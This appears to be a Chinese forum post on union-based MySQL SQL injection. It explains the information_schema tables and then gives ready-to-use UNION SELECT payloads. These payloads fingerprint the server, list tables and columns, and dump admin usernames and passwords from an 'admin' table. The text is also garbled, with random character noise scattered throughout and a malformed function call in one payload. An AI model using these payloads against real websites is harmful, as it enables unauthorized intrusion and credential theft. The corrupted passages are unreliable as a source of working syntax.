mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法

学习盲注前先了解下 IFORMATION_SCHEMA 库

. X3 H- j; W& A7 U  mMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
* \) n- A( @7 p存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
3 Z4 P- S- [% r4 W; x) R7 I3 O1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
, L+ T! V5 \$ E/ S) }, o|---字段：SCHEMA_NAME ->数据库名称
  I' E4 `9 G! H  A9 v
( I3 L. T0 z: X- V: E/ t|TABLES ->存储表名
|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|---字段：TABLE_NAME ->存储表的表名

|COLUMNS ->存储的字段名表
+ v2 b: z* n# n9 t% a3 i|---字段：TABLE_SCHEMA ->该字段所属数据库名
|---字段：TABLE_NAME ->存储所属表的名称
" }* v2 T  V+ C! J# {# B/ |: r
, {# ]0 t% @! Z|---字段：COLUMN_NAME ->该字段的名称
" ?) y) g. m7 a


7 s" q  H/ C7 P* @9 N9 a###########################################################################

0x001 获取系统信息:
: w, M; }" C  u  ^/ B* e9 T
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

4 s4 b5 S! r, I4 Q4 _/*
* f9 [6 C, N! ]. Y
@@global.version_compile_os 获取系统版本
# u; H/ D! t% }( N: h" S5 h
@@datadir 数据库路径
2 m% D  @9 h! a7 D( gdatabase() 当前数据库名称
0x3c62723e 换行HEX值

*/


" l  i7 w; r2 C
######################################################################

' ]5 g; U; }8 G; }- _, H' J0x002 获取表名

) q& y- o6 m( g4 ]  junion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*

" p) ]6 B. m0 L# i2 P7 w$ z: I9 Z7 d

0 v& K% F1 G* C' y$ z/*

0x67617264656e 为当前数据库名

group_concat(table_name) 使用group_concat函数 一步获得该库所有表名

*/

######################################################################



0 W3 M! X9 D' F* n" z/ J7 j: K% l* }1 n0x003 获取字段

union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*

6 _& C; t% }: B4 B/*
* U( y* k3 F) N4 ~; \  [
6 n9 D3 g( m) bgroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
) y# G, r  m$ K" p3 ~$ P- ], N
0x61646d696e ->选择一个表

6 W, }( R" T% Z/ S% m6 {0x67617264656e ->数据库名

9 z4 t! m! U5 n* S4 L2 ?; \) N) k*/
1 V2 Z& m8 v/ e/ ]- s
#####################################################################


0 K' H# u1 ]  c5 B. X6 R
0x004 获取数据

) I; h/ Q# _8 K* H, y' ^union select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

) v8 q- ], F( B/ |' o, |union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
0 N9 w3 ?& [" C7 ]& ?

1 C2 k0 A6 f" L; t" q5 U' K* }7 s
' v2 x- f4 N$ N, t" Y1 l/*
/ @! J" p1 a" g8 y/ {  h
0x3c62723e 换行符号HEX编码

! d( j% y7 P: f( T/ V( b7 R- B' N# Lgroup_concat 同时获得该字段所有数据

8 z4 M7 [1 D1 }5 [' C- w*/
5 c4 f- {) L) f! o# |